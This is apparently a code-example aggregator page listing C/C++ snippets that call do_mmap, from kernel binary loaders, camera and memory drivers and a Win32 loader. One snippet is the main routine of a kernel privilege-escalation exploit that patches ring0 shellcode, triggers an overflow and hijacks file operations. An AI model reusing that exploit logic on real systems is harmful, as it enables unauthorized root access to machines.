C++ do_mmap函数代码示例

/*===========================================================================
 * FUNCTION    - init_c2d_buffer -
 *
 * DESCRIPTION:  allocate and register C2D buffer with kernel.
 *==========================================================================*/
static int init_c2d_buffer(config_ctrl_t *ctrl, struct msm_pmem_info *info,
  stereo_frame_t* pStereoFrame, int bufPath)
{
  static int prevBufPath = -1;
  uint32_t frame_w = 0, frame_h = 0;
  uint32_t stride = 0;
  uint8_t pad_2K_bool = (ctrl->vfeCtrl.vfeMode == VFE_MODE_SNAPSHOT) ?
    FALSE : TRUE;

  if (prevBufPath == bufPath) {
    CDBG("%s: No need to create new C2D buffer\n", __func__);
    return TRUE;
  } else if (prevBufPath != -1) {
    CDBG("%s: Create new C2D buffer for bufPath = %d\n", __func__, bufPath);
    if (!release_c2d_buffer(ctrl, info))
      CDBG_HIGH("%s: release_c2d_buffer failed\n", __func__);
  }

  if (pStereoFrame->non_zoom_upscale) {
    frame_w = pStereoFrame->right_pack_dim.orig_w;
    frame_h = pStereoFrame->right_pack_dim.orig_h;
  } else {
    frame_w = pStereoFrame->right_pack_dim.modified_w;
    frame_h = pStereoFrame->right_pack_dim.modified_h;
  }

  info->vaddr = (void *)do_mmap(PAD_2_2K(frame_w * frame_h, pad_2K_bool) * 3/2,
    &(info->fd));

  if (!info->vaddr) {
    CDBG_ERROR("%s: mmap failed\n", __func__);
    return FALSE;
  }

  info->type = MSM_PMEM_C2D;
  info->y_off = 0;
  info->offset = 0;
  info->active = 0;
  info->cbcr_off = PAD_2_2K(frame_w * frame_h, pad_2K_bool);
  info->len = PAD_2_2K(frame_w * frame_h, pad_2K_bool);

  if (ioctl(ctrl->camfd, MSM_CAM_IOCTL_REGISTER_PMEM, info) < 0) {
    CDBG_ERROR("%s: ioctl MSM_CAM_IOCTL_REGISTER_PMEM is failed..\n", __func__);
    return FALSE;
  }

  if (!init_kgsl()) {
    CDBG_ERROR("%s: init_kgsl failed\n", __func__);
    return FALSE;
  }

  stride = frame_w;

  c2d_obj.dst_addr.vAddr0 = (uint32_t)info->vaddr;
  c2d_obj.dst_addr.gAddr0 = get_gpu_addr(info->fd,
    PAD_2_2K(frame_w * frame_h, pad_2K_bool) * 3/2, info->offset,
    (uint32_t)info->vaddr);

  c2d_obj.dst_addr.vAddr1 = c2d_obj.dst_addr.vAddr0 +
    PAD_2_2K(frame_w * frame_h, pad_2K_bool);
  c2d_obj.dst_addr.gAddr1 = c2d_obj.dst_addr.gAddr0 +
    PAD_2_2K(frame_w * frame_h, pad_2K_bool);

  cam_list_init(&(g_list.list));
  add_gpu_addr_item(info->fd, c2d_obj.dst_addr.vAddr0, c2d_obj.dst_addr.gAddr0,
    c2d_obj.dst_addr.gAddr0);

  create_default_C2D_surface(&(c2d_obj.srcSurfaceDef), &(c2d_obj.src_id),
    C2D_SOURCE);

  create_default_C2D_surface(&(c2d_obj.dstSurfaceDef), &(c2d_obj.dst_id),
    C2D_TARGET);

  /* C2D destination surface values will not change. */
  update_C2D_surface(&(c2d_obj.dstSurfaceDef), frame_w, frame_h, c2d_obj.dst_id,
    &(c2d_obj.dst_addr), stride, C2D_TARGET, c2d_format);

  prevBufPath = bufPath;

  return TRUE;
} /* init_c2d_buffer */

static int load_aout32_binary(struct linux_binprm * bprm, struct pt_regs * regs)
{
	struct exec ex;
	unsigned long error;
	unsigned long fd_offset;
	unsigned long rlim;
	unsigned long orig_thr_flags;
	int retval;

	ex = *((struct exec *) bprm->buf);		/* exec-header */
	if ((N_MAGIC(ex) != ZMAGIC && N_MAGIC(ex) != OMAGIC &&
	     N_MAGIC(ex) != QMAGIC && N_MAGIC(ex) != NMAGIC) ||
	    N_TRSIZE(ex) || N_DRSIZE(ex) ||
	    bprm->file->f_path.dentry->d_inode->i_size < ex.a_text+ex.a_data+N_SYMSIZE(ex)+N_TXTOFF(ex)) {
		return -ENOEXEC;
	}

	fd_offset = N_TXTOFF(ex);

	/* Check initial limits. This avoids letting people circumvent
	 * size limits imposed on them by creating programs with large
	 * arrays in the data or bss.
	 */
	rlim = current->signal->rlim[RLIMIT_DATA].rlim_cur;
	if (rlim >= RLIM_INFINITY)
		rlim = ~0;
	if (ex.a_data + ex.a_bss > rlim)
		return -ENOMEM;

	/* Flush all traces of the currently running executable */
	retval = flush_old_exec(bprm);
	if (retval)
		return retval;

	/* OK, This is the point of no return */
	set_personality(PER_SUNOS);

	current->mm->end_code = ex.a_text +
		(current->mm->start_code = N_TXTADDR(ex));
	current->mm->end_data = ex.a_data +
		(current->mm->start_data = N_DATADDR(ex));
	current->mm->brk = ex.a_bss +
		(current->mm->start_brk = N_BSSADDR(ex));
	current->mm->free_area_cache = current->mm->mmap_base;
	current->mm->cached_hole_size = 0;

	current->mm->mmap = NULL;
	compute_creds(bprm);
 	current->flags &= ~PF_FORKNOEXEC;
	if (N_MAGIC(ex) == NMAGIC) {
		loff_t pos = fd_offset;
		/* Fuck me plenty... */
		down_write(&current->mm->mmap_sem);	
		error = do_brk(N_TXTADDR(ex), ex.a_text);
		up_write(&current->mm->mmap_sem);
		bprm->file->f_op->read(bprm->file, (char __user *)N_TXTADDR(ex),
			  ex.a_text, &pos);
		down_write(&current->mm->mmap_sem);
		error = do_brk(N_DATADDR(ex), ex.a_data);
		up_write(&current->mm->mmap_sem);
		bprm->file->f_op->read(bprm->file, (char __user *)N_DATADDR(ex),
			  ex.a_data, &pos);
		goto beyond_if;
	}

	if (N_MAGIC(ex) == OMAGIC) {
		loff_t pos = fd_offset;
		down_write(&current->mm->mmap_sem);
		do_brk(N_TXTADDR(ex) & PAGE_MASK,
			ex.a_text+ex.a_data + PAGE_SIZE - 1);
		up_write(&current->mm->mmap_sem);
		bprm->file->f_op->read(bprm->file, (char __user *)N_TXTADDR(ex),
			  ex.a_text+ex.a_data, &pos);
	} else {
		static unsigned long error_time;
		if ((ex.a_text & 0xfff || ex.a_data & 0xfff) &&
		    (N_MAGIC(ex) != NMAGIC) && (jiffies-error_time) > 5*HZ)
		{
			printk(KERN_NOTICE "executable not page aligned\n");
			error_time = jiffies;
		}

		if (!bprm->file->f_op->mmap) {
			loff_t pos = fd_offset;
			down_write(&current->mm->mmap_sem);
			do_brk(0, ex.a_text+ex.a_data);
			up_write(&current->mm->mmap_sem);
			bprm->file->f_op->read(bprm->file,
				  (char __user *)N_TXTADDR(ex),
				  ex.a_text+ex.a_data, &pos);
			goto beyond_if;
		}

	        down_write(&current->mm->mmap_sem);
		error = do_mmap(bprm->file, N_TXTADDR(ex), ex.a_text,
			PROT_READ | PROT_EXEC,
			MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE | MAP_EXECUTABLE,
			fd_offset);
	        up_write(&current->mm->mmap_sem);

//.........这里部分代码省略.........

/* This is much more generalized than the library routine read function,
 * so we keep this separate.  Technically the library read function
 * is only provided so that we can read a.out libraries that have
 * an ELF header.
 */
static unsigned int load_irix_interp(struct elfhdr * interp_elf_ex,
				     struct file * interpreter,
				     unsigned int *interp_load_addr)
{
	struct elf_phdr *elf_phdata  =  NULL;
	struct elf_phdr *eppnt;
	unsigned int len;
	unsigned int load_addr;
	int elf_bss;
	int retval;
	unsigned int last_bss;
	int error;
	int i;
	unsigned int k;

	elf_bss = 0;
	last_bss = 0;
	error = load_addr = 0;

	print_elfhdr(interp_elf_ex);

	/* First of all, some simple consistency checks */
	if ((interp_elf_ex->e_type != ET_EXEC &&
	     interp_elf_ex->e_type != ET_DYN) ||
	     !interpreter->f_op->mmap) {
		printk("IRIX interp has bad e_type %d\n", interp_elf_ex->e_type);
		return 0xffffffff;
	}

	/* Now read in all of the header information */
	if (sizeof(struct elf_phdr) * interp_elf_ex->e_phnum > PAGE_SIZE) {
	    printk("IRIX interp header bigger than a page (%d)\n",
		   (sizeof(struct elf_phdr) * interp_elf_ex->e_phnum));
	    return 0xffffffff;
	}

	elf_phdata = kmalloc(sizeof(struct elf_phdr) * interp_elf_ex->e_phnum,
			     GFP_KERNEL);

	if (!elf_phdata) {
		printk("Cannot kmalloc phdata for IRIX interp.\n");
		return 0xffffffff;
	}

	/* If the size of this structure has changed, then punt, since
	 * we will be doing the wrong thing.
	 */
	if (interp_elf_ex->e_phentsize != 32) {
		printk("IRIX interp e_phentsize == %d != 32 ",
		       interp_elf_ex->e_phentsize);
		kfree(elf_phdata);
		return 0xffffffff;
	}

	retval = kernel_read(interpreter, interp_elf_ex->e_phoff,
			   (char *) elf_phdata,
			   sizeof(struct elf_phdr) * interp_elf_ex->e_phnum);

	dump_phdrs(elf_phdata, interp_elf_ex->e_phnum);

	eppnt = elf_phdata;
	for (i = 0; i < interp_elf_ex->e_phnum; i++, eppnt++) {
		if (eppnt->p_type == PT_LOAD) {
			int elf_type = MAP_PRIVATE | MAP_DENYWRITE;
			int elf_prot = 0;
			unsigned long vaddr = 0;
			if (eppnt->p_flags & PF_R)
				elf_prot =  PROT_READ;
			if (eppnt->p_flags & PF_W)
				elf_prot |= PROT_WRITE;
			if (eppnt->p_flags & PF_X)
				elf_prot |= PROT_EXEC;
			elf_type |= MAP_FIXED;
			vaddr = eppnt->p_vaddr;

			pr_debug("INTERP do_mmap"
			         "(%p, %08lx, %08lx, %08lx, %08lx, %08lx) ",
			         interpreter, vaddr,
			         (unsigned long)
			         (eppnt->p_filesz + (eppnt->p_vaddr & 0xfff)),
			         (unsigned long)
			         elf_prot, (unsigned long) elf_type,
			         (unsigned long)
			         (eppnt->p_offset & 0xfffff000));

			down_write(&current->mm->mmap_sem);
			error = do_mmap(interpreter, vaddr,
			eppnt->p_filesz + (eppnt->p_vaddr & 0xfff),
			elf_prot, elf_type,
			eppnt->p_offset & 0xfffff000);
			up_write(&current->mm->mmap_sem);

			if (error < 0 && error > -1024) {
				printk("Aieee IRIX interp mmap error=%d\n",
				       error);
//.........这里部分代码省略.........

/* This is really simpleminded and specialized - we are loading an
 * a.out library that is given an ELF header.
 */
static int load_irix_library(struct file *file)
{
	struct elfhdr elf_ex;
	struct elf_phdr *elf_phdata  =  NULL;
	unsigned int len = 0;
	int elf_bss = 0;
	int retval;
	unsigned int bss;
	int error;
	int i, j, k;

	error = kernel_read(file, 0, (char *) &elf_ex, sizeof(elf_ex));
	if (error != sizeof(elf_ex))
		return -ENOEXEC;

	if (memcmp(elf_ex.e_ident, ELFMAG, SELFMAG) != 0)
		return -ENOEXEC;

	/* First of all, some simple consistency checks. */
	if (elf_ex.e_type != ET_EXEC || elf_ex.e_phnum > 2 ||
	   !file->f_op->mmap)
		return -ENOEXEC;

	/* Now read in all of the header information. */
	if (sizeof(struct elf_phdr) * elf_ex.e_phnum > PAGE_SIZE)
		return -ENOEXEC;

	elf_phdata = kmalloc(sizeof(struct elf_phdr) * elf_ex.e_phnum, GFP_KERNEL);
	if (elf_phdata == NULL)
		return -ENOMEM;

	retval = kernel_read(file, elf_ex.e_phoff, (char *) elf_phdata,
			   sizeof(struct elf_phdr) * elf_ex.e_phnum);

	j = 0;
	for (i=0; i<elf_ex.e_phnum; i++)
		if ((elf_phdata + i)->p_type == PT_LOAD) j++;

	if (j != 1)  {
		kfree(elf_phdata);
		return -ENOEXEC;
	}

	while (elf_phdata->p_type != PT_LOAD) elf_phdata++;

	/* Now use mmap to map the library into memory. */
	down_write(&current->mm->mmap_sem);
	error = do_mmap(file,
			elf_phdata->p_vaddr & 0xfffff000,
			elf_phdata->p_filesz + (elf_phdata->p_vaddr & 0xfff),
			PROT_READ | PROT_WRITE | PROT_EXEC,
			MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE,
			elf_phdata->p_offset & 0xfffff000);
	up_write(&current->mm->mmap_sem);

	k = elf_phdata->p_vaddr + elf_phdata->p_filesz;
	if (k > elf_bss) elf_bss = k;

	if (error != (elf_phdata->p_vaddr & 0xfffff000)) {
		kfree(elf_phdata);
		return error;
	}

	padzero(elf_bss);

	len = (elf_phdata->p_filesz + elf_phdata->p_vaddr+ 0xfff) & 0xfffff000;
	bss = elf_phdata->p_memsz + elf_phdata->p_vaddr;
	if (bss > len) {
	  down_write(&current->mm->mmap_sem);
	  do_brk(len, bss-len);
	  up_write(&current->mm->mmap_sem);
	}
	kfree(elf_phdata);
	return 0;
}

static int load_elf_library(int fd)
{
  /* uselib syscall isn't implemented so we don't need this function 
     just yet... */
  return -EINVAL;
  
#if 0
  struct file * file;
  struct dentry * dentry;
  struct inode * inode;
  struct elf_phdr *elf_phdata;
  unsigned long elf_bss = 0, bss, len, k;
  int retval, error, i, j;
  struct elfhdr elf_ex;
  loff_t offset = 0;

  error = -EACCES;
  file = fget(fd);
  if (!file || !file->f_op)
    goto out;
  dentry = file->f_dentry;
  inode = dentry->d_inode;

  /* seek to the beginning of the file */
  error = -ENOEXEC;

  /* N.B. save current DS?? */
  set_fs(KERNEL_DS);
  retval = file->f_op->read(file, (char *) &elf_ex, sizeof(elf_ex), &offset);
  set_fs(USER_DS);
  if (retval != sizeof(elf_ex))
    goto out_putf;

  if (elf_ex.e_ident[0] != 0x7f ||
      strncmp(&elf_ex.e_ident[1], "ELF", 3) != 0)
    goto out_putf;

  /* First of all, some simple consistency checks */
  if (elf_ex.e_type != ET_EXEC || elf_ex.e_phnum > 2 ||
     !elf_check_arch(elf_ex.e_machine) ||
     (!inode->i_op || !inode->i_op->default_file_ops->mmap))
    goto out_putf;

  /* Now read in all of the header information */

  j = sizeof(struct elf_phdr) * elf_ex.e_phnum;
  if (j > ELF_EXEC_PAGESIZE)
    goto out_putf;

  error = -ENOMEM;
  elf_phdata = (struct elf_phdr *) kmalloc(j, GFP_KERNEL);
  if (!elf_phdata)
    goto out_putf;

  /* N.B. check for error return?? */
  retval = read_exec(dentry, elf_ex.e_phoff, (char *) elf_phdata,
         sizeof(struct elf_phdr) * elf_ex.e_phnum, 1);

  error = -ENOEXEC;
  for (j = 0, i = 0; i<elf_ex.e_phnum; i++)
    if ((elf_phdata + i)->p_type == PT_LOAD) j++;
  if (j != 1)
    goto out_free_ph;

  while (elf_phdata->p_type != PT_LOAD) elf_phdata++;

  /* Now use mmap to map the library into memory. */
  error = do_mmap(file,
      ELF_PAGESTART(elf_phdata->p_vaddr),
      (elf_phdata->p_filesz +
       ELF_PAGEOFFSET(elf_phdata->p_vaddr)),
      PROT_READ | PROT_WRITE | PROT_EXEC,
      MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE,
      (elf_phdata->p_offset -
       ELF_PAGEOFFSET(elf_phdata->p_vaddr)));
  if (error != ELF_PAGESTART(elf_phdata->p_vaddr))
    goto out_free_ph;

  k = elf_phdata->p_vaddr + elf_phdata->p_filesz;
  if (k > elf_bss)
    elf_bss = k;
  padzero(elf_bss);

  len = ELF_PAGESTART(elf_phdata->p_filesz + elf_phdata->p_vaddr + 
        ELF_EXEC_PAGESIZE - 1);
  bss = elf_phdata->p_memsz + elf_phdata->p_vaddr;
  if (bss > len)
    do_mmap(NULL, len, bss - len,
      PROT_READ|PROT_WRITE|PROT_EXEC,
      MAP_FIXED|MAP_PRIVATE, 0);
  error = 0;

out_free_ph:
  kfree(elf_phdata);
out_putf:
  fput(file);
out:
  return error;
#endif  
}

static unsigned long load_elf_interp(struct elfhdr * interp_elf_ex,
                                     int interpreter_fd,
                                     unsigned long *interp_load_addr)
{
  struct elf_phdr *elf_phdata;
  struct elf_phdr *eppnt;
  unsigned long load_addr = 0;
  int load_addr_set = 0;
  unsigned long last_bss = 0, elf_bss = 0;
  unsigned long error = ~0UL;
  int elf_exec_fileno;
  int retval, i, size;

  /* First of all, some simple consistency checks */
  if (interp_elf_ex->e_type != ET_EXEC &&
      interp_elf_ex->e_type != ET_DYN)
    goto out;
  if (!elf_check_arch(interp_elf_ex->e_machine))
    goto out;

  /*
   * If the size of this structure has changed, then punt, since
   * we will be doing the wrong thing.
   */
  if (interp_elf_ex->e_phentsize != sizeof(struct elf_phdr))
    goto out;

  /* Now read in all of the header information */

  if (interp_elf_ex->e_phnum < 1 || interp_elf_ex->e_phnum >
      ELF_EXEC_PAGESIZE / sizeof(struct elf_phdr))
    goto out;
  size = sizeof(struct elf_phdr) * interp_elf_ex->e_phnum;
  elf_phdata = (struct elf_phdr *) malloc(size);
  if (!elf_phdata)
    goto out;

  retval = read_exec(interpreter_fd, interp_elf_ex->e_phoff,
                     (char *) elf_phdata, size, 1);
  error = retval;
  if (retval < 0)
    goto out_free;

  error = ~0UL;
  elf_exec_fileno = dup(interpreter_fd);
  if (elf_exec_fileno < 0)
    goto out_free;
  
  eppnt = elf_phdata;
  
  for (i=0; i<interp_elf_ex->e_phnum; i++, eppnt++) {
    if (eppnt->p_type == PT_LOAD) {
      int elf_type = MAP_PRIVATE; // | MAP_DENYWRITE;
      int elf_prot = 0;
      unsigned long vaddr = 0;
      unsigned long k, map_addr;

      if (eppnt->p_flags & PF_R) elf_prot =  PROT_READ;
      if (eppnt->p_flags & PF_W) elf_prot |= PROT_WRITE;
      if (eppnt->p_flags & PF_X) elf_prot |= PROT_EXEC;
      vaddr = eppnt->p_vaddr;
      
      if (interp_elf_ex->e_type == ET_EXEC || load_addr_set) {
        elf_type |= MAP_FIXED;
      }

#ifdef __VERBOSE__ 
      printf("mapping: %08lX  (load_addr: %08lX, vaddr:%08lX)\n",  
            load_addr + ELF_PAGESTART(vaddr), load_addr, vaddr);
#endif
  

      map_addr = do_mmap(elf_exec_fileno, load_addr + ELF_PAGESTART(vaddr),
                         eppnt->p_filesz + ELF_PAGEOFFSET(eppnt->p_vaddr),
                         elf_prot, elf_type,
                         eppnt->p_offset - ELF_PAGEOFFSET(eppnt->p_vaddr));

#ifdef __VERBOSE__ 
      printf("map_addr: %08lX\n", map_addr);
#endif      
 
      if (map_addr > -1024UL) /* Real error */
        goto out_close;

      if (!load_addr_set && interp_elf_ex->e_type == ET_DYN) {
        load_addr = map_addr - ELF_PAGESTART(vaddr);
        load_addr_set = 1;
      }

      /*
       * Find the end of the file mapping for this phdr, and keep
       * track of the largest address we see for this.
       */
      k = load_addr + eppnt->p_vaddr + eppnt->p_filesz;
      if (k > elf_bss)
        elf_bss = k;

      /*
       * Do the same thing for the memory mapping - between
       * elf_bss and last_bss is the bss section.
//.........这里部分代码省略.........

//.........这里部分代码省略.........
     is because the brk will follow the loader, and is not movable.  */

  load_bias = ELF_PAGESTART(elf_ex.e_type==ET_DYN ? ELF_ET_DYN_BASE : 0);
#ifdef __VERBOSE__
  printf("load_bias: %08lX\n", load_bias);
#endif

  /* Now we do a little grungy work by mmaping the ELF image into
     the correct location in memory.  At this point, we assume that
     the image should be loaded at fixed address, not at a variable
     address. */

  for(i = 0, elf_ppnt = elf_phdata; i < elf_ex.e_phnum; i++, elf_ppnt++) {
    int elf_prot = 0, elf_flags;
    unsigned long vaddr;

    if (elf_ppnt->p_type != PT_LOAD)
      continue;

    if (elf_ppnt->p_flags & PF_R) elf_prot |= PROT_READ;
    if (elf_ppnt->p_flags & PF_W) elf_prot |= PROT_WRITE;
    if (elf_ppnt->p_flags & PF_X) elf_prot |= PROT_EXEC;

    elf_flags = MAP_PRIVATE; // |MAP_DENYWRITE|MAP_EXECUTABLE;

    vaddr = elf_ppnt->p_vaddr;
    if (elf_ex.e_type == ET_EXEC || load_addr_set) {
      elf_flags |= MAP_FIXED;
    }
	//my_print("[ender]9\n");
#ifdef __VERBOSE__
    printf("mapping: %08lX\n", ELF_PAGESTART(load_bias + vaddr));
#endif
    error = do_mmap(bprm->fd, ELF_PAGESTART(load_bias + vaddr),
                    (elf_ppnt->p_filesz + ELF_PAGEOFFSET(elf_ppnt->p_vaddr)),
                    elf_prot, elf_flags, 
                    (elf_ppnt->p_offset - ELF_PAGEOFFSET(elf_ppnt->p_vaddr)));

#ifdef __VERBOSE__
    printf("error: %08lX\n", error);
#endif

    if (!load_addr_set) {
      load_addr_set = 1;
      load_addr = (elf_ppnt->p_vaddr - elf_ppnt->p_offset);
#ifdef __VERBOSE__
      printf("load_addr: %08lX, vaddr: %08lX\n", load_addr, vaddr);
#endif      
      if (elf_ex.e_type == ET_DYN) {
        load_bias += error - ELF_PAGESTART(load_bias + vaddr);
        load_addr += error;
      
#ifdef __VERBOSE__
        printf("new\nload_bias: %08lX, load_addr: %08lX\n", load_bias, load_addr);
#endif        
      }
    }
    k = elf_ppnt->p_vaddr;
    if (k < start_code) start_code = k;
    k = elf_ppnt->p_vaddr + elf_ppnt->p_filesz;
    if (k > elf_bss)
      elf_bss = k;
    if ((elf_ppnt->p_flags & PF_X) && end_code <  k)
      end_code = k;
    if (end_data < k)
      end_data = k;

static int load_exeso_binary(struct linux_binprm *bprm, struct pt_regs *regs)
{
    struct elfhdr *elf_ex;
    struct elf_phdr *elf_phdata = NULL;
    struct mm_struct *mm;
    unsigned long load_addr = 0;
    unsigned long error;
    int retval = 0;
    unsigned long pe_entry, ntdll_load_addr = 0;
    unsigned long start_code, end_code, start_data, end_data;
    unsigned long ntdll_entry;
    int executable_stack = EXSTACK_DEFAULT;
    unsigned long def_flags = 0;
    unsigned long stack_top;
#ifdef NTDLL_SO
    unsigned long	interp_load_addr;
    unsigned long	interp_entry;
#endif
    struct eprocess	*process;
    struct ethread	*thread;
    PRTL_USER_PROCESS_PARAMETERS	ppb;
    OBJECT_ATTRIBUTES	ObjectAttributes;
    INITIAL_TEB	init_teb;

    BOOLEAN is_win32=FALSE;
    struct startup_info *info=NULL;
    struct eprocess	*parent_eprocess=NULL;
    struct ethread	*parent_ethread=NULL;
    struct w32process* child_w32process =NULL;
    struct w32process* parent_w32process =NULL;

    elf_ex = (struct elfhdr *)bprm->buf;
    retval = -ENOEXEC;
    /* First of all, some simple consistency checks */
    if (memcmp(elf_ex->e_ident, ELFMAG, SELFMAG) != 0)
        goto out;
    if (elf_ex->e_type != ET_EXEC && elf_ex->e_type != ET_DYN)
        goto out;
    if (!elf_check_arch(elf_ex))
        goto out;
    if (!bprm->file->f_op||!bprm->file->f_op->mmap)
        goto out;

    if (elf_ex->e_phentsize != sizeof(struct elf_phdr))
        goto out;
    if (elf_ex->e_phnum < 1 ||
            elf_ex->e_phnum > 65536U / sizeof(struct elf_phdr))
        goto out;

    if(!check_exeso(bprm))
        goto out;

    start_code = ~0UL;
    end_code = 0;
    start_data = 0;
    end_data = 0;

    if(current->parent->ethread)
    {
        is_win32 = TRUE;
        parent_ethread = current->parent->ethread;
        parent_eprocess = parent_ethread->threads_process;
    }

    /* Flush all traces of the currently running executable */
    retval = flush_old_exec(bprm);
    if (retval) {
        goto out;
    }

    /* OK, This is the point of no return */
    mm = current->mm;
    current->flags &= ~PF_FORKNOEXEC;
    mm->def_flags = def_flags;

    current->signal->rlim[RLIMIT_STACK].rlim_cur = WIN32_STACK_LIMIT;
    current->signal->rlim[RLIMIT_STACK].rlim_max = WIN32_STACK_LIMIT;
    current->personality |= ADDR_COMPAT_LAYOUT;
    arch_pick_mmap_layout(mm);

    /* Do this so that we can load the ntdll, if need be.  We will
       change some of these later */
    mm->free_area_cache = mm->mmap_base = WIN32_UNMAPPED_BASE;
    mm->cached_hole_size = 0;
    stack_top = WIN32_STACK_LIMIT + WIN32_LOWEST_ADDR;
    retval = setup_arg_pages(bprm, stack_top, executable_stack);
    if (retval < 0)
        goto out_free_file;

    down_write(&mm->mmap_sem);
    /* reserve first 0x100000 */
    do_mmap_pgoff(NULL, 0, WIN32_LOWEST_ADDR, PROT_NONE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, 0);
    /* reserve first 0x7fff0000 - 0x80000000 */
    do_mmap_pgoff(NULL, WIN32_TASK_SIZE - 0x10000, 0x10000,
                  PROT_NONE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, 0);
    /* reserve first 0x81000000 - 0xc0000000
     * 0x80000000 - 0x81000000 used for wine SYSTEM_HEAP */
    do_mmap_pgoff(NULL, WIN32_TASK_SIZE + WIN32_SYSTEM_HEAP_SIZE,
                  TASK_SIZE - WIN32_TASK_SIZE - WIN32_SYSTEM_HEAP_SIZE,
                  PROT_NONE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, 0);
//.........这里部分代码省略.........

int main(int argc, char *argv[])
{
    int peerx, peery,i;
    __u64 *patch;

    srvport = get_port();

    uid=getuid();
    gid=getgid();
    fops=get_fops_addr() + 64;
    if(!fops)
    {
        __msg("[!!] Unable to locate symbols...\n");
        return 1;
    }

    __msg_f("[**] Patching ring0 shellcode with userspace addr: %p\n", ring0c);
    patch = (__u64*)(ring0 + CJUMP_OFF);
    *patch = (__u64)ring0c;

    __msg_f("[**] Using port: %d\n", srvport);
    __msg("[**] Getting slab info...\n");
    kmalloc_fd = get_kmalloc_fd();
    if(!get_total_object(kmalloc_fd))
        __fatal("[!!] Only SLUB allocator supported\n");


    __msg("[**] Mapping Segments...\n");
    __msg("[**] Trying mapping safe page...");
    if(do_mmap(STRUCT_PAGE, 1) < 0)
    {
        __msg("Page Protection Present (Unable to Map Safe Page)\n");
        __msg("[**] Mapping High Address Page (dont kill placeholder child)\n");
        if(do_mmap(STRUCT_PAGE_ALT, 1) < 0)
            __fatal_errno("mmap");

        cankill=0;  /* dont kill child owning unsafe fds.. */
        highpage=1; /* ssnmap in higher pages */
        zstream=STREAM_ZERO_ALT;
    }
    else
        __msg("Done\n");

    __msg("[**] Mapping Code Page... ");
    if(do_mmap(CODE_PAGE, 1) < 0)
        __fatal_errno("mmap");
    else
        __msg("Done\n");

    memcpy((void*)CODE_PAGE, ring0, sizeof(ring0));

    __msg("[**] Binding on CPU 0\n");
    bindcpu();

    __msg("[**] Start Server Thread..\n");
    child = start_listener();
    sleep(3);

    do_socks(&server_s, zstream);
    for(i=0; i<7; i++)
    {
        close(g_array[8-1-i]);
    }
    clr(1);
    alloc_tioclinux(); // trigger overflow
    peerx = create_and_init();
    connect_peer(peerx, &server_s);
    peery = create_and_init();
    connect_peer(peery, &server_s);

    sleep(1);

    unsafe_fd[0] = peerx;
    unsafe_fd[1] = g_array[8];
    unsafe_fd[2] = peery;
    unsafe_fd[3] = g_array[9];

    __msg("\n");
    __msg_f("[**] Umapped end-to-end fd: %d\n", fd_zmap_srv);
    __msg_f("[**] Unsafe  fd: ( ");

    for(i=0; i<4; i++)
        __msg_f("%d ", unsafe_fd[i]);
    __msg(")\n");


    __msg("[**] Hijacking fops...\n");
    overwrite_fops(fd_zmap_srv, &caddr, peery);

    /* if u get here.. something nasty happens...may crash..*/
    __free_stuff();
    __msg("[**] Exploit failed.. freezing process\n");
    kill(getpid(), SIGSTOP);
    return 0;
}

uintptr_t sys_mmap(uintptr_t addr, size_t length, int prot, int flags, int fd, off_t offset)
{
  uintptr_t ret =  do_mmap(addr, length, prot, flags, fd, offset);
  return ret;
}

int s3c_mem_ioctl(struct inode *inode, struct file *file, unsigned int cmd, unsigned long arg)
{
	unsigned long *virt_addr;
	struct mm_struct *mm = current->mm;
	struct s3c_mem_alloc param;
	struct s3c_mem_dma_param dma_param;

	switch (cmd) {
		case S3C_MEM_ALLOC:
			mutex_lock(&mem_alloc_lock);
			if(copy_from_user(&param, (struct s3c_mem_alloc *)arg, sizeof(struct s3c_mem_alloc))){
				mutex_unlock(&mem_alloc_lock);
				return -EFAULT;
			}
			flag = MEM_ALLOC;
			param.vir_addr = do_mmap(file, 0, param.size, PROT_READ|PROT_WRITE, MAP_SHARED, 0);
			DEBUG("param.vir_addr = %08x, %d\n", param.vir_addr, __LINE__);
			if(param.vir_addr == -EINVAL) {
				printk("S3C_MEM_ALLOC FAILED\n");
				flag = 0;
				mutex_unlock(&mem_alloc_lock);
				return -EFAULT;
			}
			param.phy_addr = physical_address;
			DEBUG("KERNEL MALLOC : param.phy_addr = 0x%X \t size = %d \t param.vir_addr = 0x%X, %d\n", param.phy_addr, param.size, param.vir_addr, __LINE__);

			if(copy_to_user((struct s3c_mem_alloc *)arg, &param, sizeof(struct s3c_mem_alloc))){
				flag = 0;
				mutex_unlock(&mem_alloc_lock);
				return -EFAULT;
			}
			flag = 0;
			mutex_unlock(&mem_alloc_lock);

			break;

		case S3C_MEM_CACHEABLE_ALLOC:
			mutex_lock(&mem_cacheable_alloc_lock);
			if(copy_from_user(&param, (struct s3c_mem_alloc *)arg, sizeof(struct s3c_mem_alloc))){
				mutex_unlock(&mem_cacheable_alloc_lock);
				return -EFAULT;
			}
			flag = MEM_ALLOC_CACHEABLE;
			param.vir_addr = do_mmap(file, 0, param.size, PROT_READ|PROT_WRITE, MAP_SHARED, 0);
			DEBUG("param.vir_addr = %08x, %d\n", param.vir_addr, __LINE__);
			if(param.vir_addr == -EINVAL) {
				printk("S3C_MEM_ALLOC FAILED\n");
				flag = 0;
				mutex_unlock(&mem_cacheable_alloc_lock);
				return -EFAULT;
			}
			param.phy_addr = physical_address;
			DEBUG("KERNEL MALLOC : param.phy_addr = 0x%X \t size = %d \t param.vir_addr = 0x%X, %d\n", param.phy_addr, param.size, param.vir_addr, __LINE__);

			if(copy_to_user((struct s3c_mem_alloc *)arg, &param, sizeof(struct s3c_mem_alloc))){
				flag = 0;
				mutex_unlock(&mem_cacheable_alloc_lock);
				return -EFAULT;
			}
			flag = 0;
			mutex_unlock(&mem_cacheable_alloc_lock);

			break;

		case S3C_MEM_SHARE_ALLOC:
			mutex_lock(&mem_share_alloc_lock);
			if(copy_from_user(&param, (struct s3c_mem_alloc *)arg, sizeof(struct s3c_mem_alloc))){
				mutex_unlock(&mem_share_alloc_lock);
				return -EFAULT;
			}
			flag = MEM_ALLOC_SHARE;
			physical_address = param.phy_addr;
			DEBUG("param.phy_addr = %08x, %d\n", physical_address, __LINE__);
			param.vir_addr = do_mmap(file, 0, param.size, PROT_READ|PROT_WRITE, MAP_SHARED, 0);
			DEBUG("param.vir_addr = %08x, %d\n", param.vir_addr, __LINE__);
			if(param.vir_addr == -EINVAL) {
